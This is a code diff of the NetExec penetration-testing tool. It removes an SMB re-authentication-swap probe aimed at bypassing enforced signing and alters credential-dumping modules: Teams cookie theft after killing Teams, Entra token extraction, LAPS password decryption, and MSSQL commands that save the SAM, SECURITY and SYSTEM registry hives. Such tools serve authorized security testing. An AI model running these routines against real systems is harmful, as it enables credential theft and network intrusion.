return
try:
*_, tgt, _ = connection.conn.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -245,7 +244,6 @@ class RdpWmi:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
-144
View File
@@ -1,144 +0,0 @@
import binascii
import contextlib
from impacket import ntlm
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
from impacket.smb3structs import SMB2_SESSION_SETUP
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
class NXCModule:
"""
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
log in as one account, then re-authenticate as a different one on the same connection. That swap
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
allow or refuse it), so it is probed live.
https://blackfield.ch/blog/defeating-enforced-smb-signing/
"""
name = "reauth_swap"
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
STATUS_SUCCESS = 0x00000000
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
def options(self, context, module_options):
"""
PROBE_USER second account, must differ from the login account (required)
PROBE_PASS second account password
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
The second account is probed over NTLM; its privileges do not matter.
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
(in the login account's domain). A correct password never increments
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
Validate PROBE_USER on a single host before running wide.
"""
self.probe_user = module_options.get("PROBE_USER")
self.probe_pass = module_options.get("PROBE_PASS", "")
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
if not self.probe_user:
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
return False
if not self.probe_pass and not self.probe_nthash:
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
return False
def on_login(self, context, connection):
if self.probe_user.lower() == (connection.username or "").lower():
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
return
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
if not connection.signing:
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
return
try:
# fresh session so nxc's own connection is left untouched
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
try:
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
finally:
with contextlib.suppress(Exception):
new_conn.close()
except Exception as e:
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
return
if status == self.STATUS_SUCCESS:
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
elif status == self.STATUS_ACCESS_DENIED:
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
elif status == self.STATUS_LOGON_FAILURE:
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
else:
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
def reauth_as(self, smb, user, password, domain, nthash):
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
# Create NTLM Type1 message (challenge)
type1 = ntlm.getNTLMSSPType1("", domain)
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
blob["MechToken"] = type1.getData()
setup = SMB2SessionSetup()
setup["Flags"] = 0
setup["SecurityMode"] = 1
setup["SecurityBufferLength"] = len(blob.getData())
setup["Buffer"] = blob.getData()
pkt = smb.SMB_PACKET()
pkt["Command"] = SMB2_SESSION_SETUP
pkt["Data"] = setup
ans = smb.recvSMB(smb.sendSMB(pkt))
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
return ans["Status"]
resp = SMB2SessionSetup_Response(ans["Data"])
try:
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
except Exception:
raw = resp["Buffer"]
type2 = raw[raw.index(b"NTLMSSP"):]
lm = nt = ""
if nthash:
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
nt = binascii.unhexlify(nthash)
# Create NTLM Type3 message (authentication)
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
blob2 = SPNEGO_NegTokenResp()
blob2["ResponseToken"] = type3.getData()
setup2 = SMB2SessionSetup()
setup2["Flags"] = 0
setup2["SecurityMode"] = 1
setup2["SecurityBufferLength"] = len(blob2.getData())
setup2["Buffer"] = blob2.getData()
pkt2 = smb.SMB_PACKET()
pkt2["Command"] = SMB2_SESSION_SETUP
pkt2["Data"] = setup2
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
return ans2["Status"]
+15 -15
View File
@@ -80,10 +80,7 @@ class NXCModule:
self.logger.fail("You need to specify a USER to run the task as")
return
# certreq mode is decided from the original CMD here, because self.command_to_run is later
# reassigned to the batch path; the PFX download below is gated on this same flag
self.is_certreq = self.command_to_run.lower() == "certreq"
if self.is_certreq:
if self.command_to_run.lower() == "certreq":
if self.ca_name is None:
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
return
@@ -99,18 +96,21 @@ class NXCModule:
setlocal enabledelayedexpansion
set "BASE={full_path_prefixed_file}"
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
if not exist "%BASE%.cer" exit /b 12
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
rem that one certificate, never a pre-existing certificate in the user's store
certreq -new "%BASE%.inf" "%BASE%.req" > nul
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
certutil -user -addstore my "%BASE%.cer" > nul
set "HASH="
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
if "!HASH!"=="" exit /b 13
for /f "tokens=2 delims=:" %%A in ('
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
') do (
set "tmp=%%A"
set "tmp=!tmp: =!"
set "HASH=!tmp!"
)
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
if "!HASH!"=="" (
exit /b 1
)
certutil -user -repairstore my !HASH! > nul 2>&1
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
certutil -user -delstore my !HASH! > nul 2>&1
@@ -212,7 +212,7 @@ class NXCModule:
except Exception as e:
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
if self.is_certreq:
if self.ca_name and self.template_name:
dump_path = path.join(NXC_PATH, "modules/schtask_as")
if not path.isdir(dump_path):
makedirs(dump_path)
+4 -8
View File
@@ -6,18 +6,16 @@ from os.path import abspath, join
class NXCModule:
name = "teams_localdb"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
self.kill = module_options.get("KILL", "false").lower() == "true"
"""No options available"""
def on_admin_login(self, context, connection):
if self.kill:
context.log.display("Killing all Teams processes to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
context.log.display("Killing all Teams process to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
@@ -35,8 +33,6 @@ class NXCModule:
context.log.debug(str(e))
context.log.highlight("Found Cookie file in path " + path)
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
if not self.kill:
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
if found == 0:
context.log.display("No cookie file found in Users folder")
+3 -8
View File
@@ -1,6 +1,5 @@
import re
import json
from base64 import urlsafe_b64decode
import jwt
from dploot.triage.wam import WamTriage
from nxc.helpers.misc import CATEGORY
@@ -29,14 +28,10 @@ class NXCModule:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
try:
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
except ValueError:
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
continue
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
try:
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
+1 -6
View File
@@ -108,10 +108,6 @@ def main():
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
@@ -164,8 +160,7 @@ def main():
if args.module or args.list_modules is not None:
loader = ModuleLoader(args, db, nxc_logger)
# -L lists every module, -M only needs the requested ones
modules = loader.list_modules(None if args.list_modules is not None else args.module)
modules = loader.list_modules()
if args.list_modules is not None:
low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
+4 -9
View File
@@ -7,12 +7,6 @@ protocol_dict = {
"ssh": {"ports": [22], "services": ["ssh"]},
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
"rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
"vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
"ftp": {"ports": [21], "services": ["ftp"]},
"ldap": {"ports": [389, 636], "services": ["ldap"]},
"wmi": {"ports": [135], "services": ["epmap"]},
"nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
}
@@ -29,11 +23,12 @@ def parse_nessus_file(nessus_file, protocol):
if ip in targets:
return True
# Nessus stores the port as a string, the lookup table uses ints
port = int(item["ReportItem"]["port"])
port = item["ReportItem"]["port"]
svc_name = item["ReportItem"]["svc_name"]
if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
if port in protocol_dict[protocol]["ports"]:
targets.append(ip)
if svc_name in protocol_dict[protocol]["services"]:
targets.append(ip)
return True
+7 -7
View File
@@ -12,6 +12,7 @@ from re import sub, IGNORECASE
from zipfile import ZipFile
from termcolor import colored
from dns import resolver
from dateutil.relativedelta import relativedelta as rd
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
@@ -230,7 +231,7 @@ class ldap(connection):
# Parse hostname and remoteName
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
self.remoteName = self.target if self.kerberos else self.host
self.remoteName = self.target
# Parse NTLM challenge
ntlm_challenge = None
@@ -711,8 +712,7 @@ class ldap(connection):
self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
# A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
return self.ldap_connection.search(
scope=self.scope,
searchBase=baseDN,
@@ -1537,12 +1537,12 @@ class ldap(connection):
Get the Fine Grained Password Policy/PSOs
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
"""
# Convert LDAP time (100ns intervals) to human readable format
# Convert LDAP time to human readable format
def pso_days(ldap_time):
return f"{abs(int(ldap_time)) // 864000000000} days"
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
def pso_mins(ldap_time):
return f"{abs(int(ldap_time)) // 600000000} minutes"
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
# Are there even any FGPPs?
self.logger.info("Attempting to enumerate policies...")
@@ -1779,7 +1779,7 @@ class ldap(connection):
if self.args.kerberos:
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
auth.get_tgt()
if self.use_kcache:
if self.args.use_kcache:
self.logger.highlight("Using kerberos auth from ccache")
auth.load_ccache()
-124
View File
@@ -1,124 +0,0 @@
from impacket.ldap.ldaptypes import ACCESS_MASK
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-32-553": "RAS and IAS Servers",
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
"S-1-5-32-568": r"BUILTIN\DCOM Users",
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
"S-1-5-32-581": r"BUILTIN\Default Account",
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
"S-1-5-32-583": r"BUILTIN\Device Owners",
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
"S-1-5-33": "Write Restricted Code",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
"S-1-5-80": "NT Service",
"S-1-5-80-0": "All Services",
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
"S-1-5-1000": "Other Organization",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-18-1": "Authentication Authority Asserted Identity",
"S-1-18-2": "Service Asserted Identity",
"S-1-18-3": "Fresh public key identity",
"S-1-18-5": "MFA Key Property",
"S-1-18-6": "Attested Key Property",
}
ACCESS_MASK_TO_TEXT_LOOKUP = {
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
ACCESS_MASK.DELETE: "DELETE",
# file system rights
0x00000001: "FILE_READ_DATA",
0x00000002: "FILE_WRITE_DATA",
0x00000004: "FILE_APPEND_DATA",
0x00000008: "FILE_READ_EA",
0x00000010: "FILE_WRITE_EA",
0x00000020: "FILE_EXECUTE",
0x00000040: "FILE_DELETE_CHILD",
0x00000080: "FILE_READ_ATTRIBUTES",
0x00000100: "FILE_WRITE_ATTRIBUTES"
}
+12 -19
View File
@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.epm import hept_map
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
from nxc.logger import NXCAdapter
@@ -169,7 +169,7 @@ class LDAPConnect:
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
@@ -182,11 +182,8 @@ class LAPSv2Extract:
self.domain = domain
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.aesKey = aesKey
self.logger = None
self.dns_server = dns_server
self.rpc_host = rpc_host or (dns_server if dns_server else domain)
self.rpc_name = rpc_name or domain
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
@@ -218,30 +215,29 @@ class LAPSv2Extract:
gke = kds_cache[key_id["RootKeyId"]]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteName(self.rpc_name)
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
if self.do_kerberos:
self.logger.info("Connecting using kerberos")
rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.do_kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.logger.info(f"Connecting to {string_binding}")
try:
dce.connect()
except Exception as e:
self.logger.error(f"Something went wrong, check error status => {e}")
return None
return False
self.logger.info("Connected")
try:
dce.bind(MSRPC_UUID_GKDI)
except Exception as e:
self.logger.error(f"Something went wrong, check error status => {e!s}")
return None
return False
self.logger.info("Successfully bound")
self.logger.info("Calling MS-GKDI GetKey")
@@ -252,12 +248,15 @@ class LAPSv2Extract:
kds_cache[gke["RootKeyId"]] = gke
kek = compute_kek(gke, key_id)
self.logger.info(f"KEK:\t{kek}")
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
iv, _ = decoder.decode(enc_content_parameter)
iv = bytes(iv[0])
cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
self.logger.info(f"CEK:\t{cek}")
plaintext = decrypt_plaintext(cek, iv, remaining)
self.logger.info(plaintext[:-18].decode("utf-16le"))
return plaintext[:-18].decode("utf-16le")
@@ -326,19 +325,13 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
self.kerberos,
self.kdcHost,
339,
dns_server,
self.kdcHost,
self.kdcHost,
self.aesKey,
dns_server
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None
if not data:
self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
return None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
+2 -3
View File
@@ -62,8 +62,7 @@ class LDAPResolution:
else:
nxc_logger.error(f"Error getting ldap info {e}")
machine_name = sanitize_dns(machine_name, nxc_logger).upper()
machine_name = sanitize_dns(machine_name, nxc_logger)
target_domain = sanitize_dns(target_domain, nxc_logger)
target = sanitize_dns(target, nxc_logger)
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
return machine_name, target_domain, target
return machine_name, target_domain
+4 -6
View File
@@ -153,7 +153,6 @@ class mssql(connection):
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
return False
else:
self.remoteName = self.host
if challenge.startswith(b"NTLMSSP\x00"):
ntlm_info = parse_challenge(challenge)
dns_hostname = ntlm_info["dns_hostname"] or ""
@@ -161,7 +160,6 @@ class mssql(connection):
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -177,6 +175,8 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
@@ -572,8 +572,7 @@ class mssql(connection):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
@@ -608,8 +607,7 @@ class mssql(connection):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
+141 -78
View File
@@ -40,6 +40,7 @@ class rdp(connection):
self.domain = None
self.server_os = None
self.iosettings = RDPIOSettings()
self.iosettings.video_out_format = VIDEO_FORMAT.RAW
self.iosettings.clipboard_use_pyperclip = False
self.protoflags_nla = [
SUPP_PROTOCOLS.SSL,
@@ -59,8 +60,8 @@ class rdp(connection):
# servers dont support 8 any more :/
self.iosettings.video_bpp_min = 15
self.iosettings.video_bpp_max = 32
# screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
self.iosettings.video_out_format = VIDEO_FORMAT.PIL
# PIL produces incorrect picture for some reason?! TODO: check bug
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #
self.domain = None
self.server_os = None
self.url = None
@@ -86,9 +87,7 @@ class rdp(connection):
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
# one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
with asyncio.Runner() as self.runner:
connection.__init__(self, args, db, host)
connection.__init__(self, args, db, host)
def proto_logger(self):
import platform
@@ -137,14 +136,14 @@ class rdp(connection):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
self.runner.run(self.check_nla())
asyncio.run(self.check_nla())
for proto in reversed(self.protoflags):
try:
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
self.runner.run(self.connect_rdp_with_cleanup())
asyncio.run(self.connect_rdp_with_cleanup())
except OSError as e:
if "Errno 104" not in str(e):
return False
@@ -157,9 +156,8 @@ class rdp(connection):
except Exception:
pass
else:
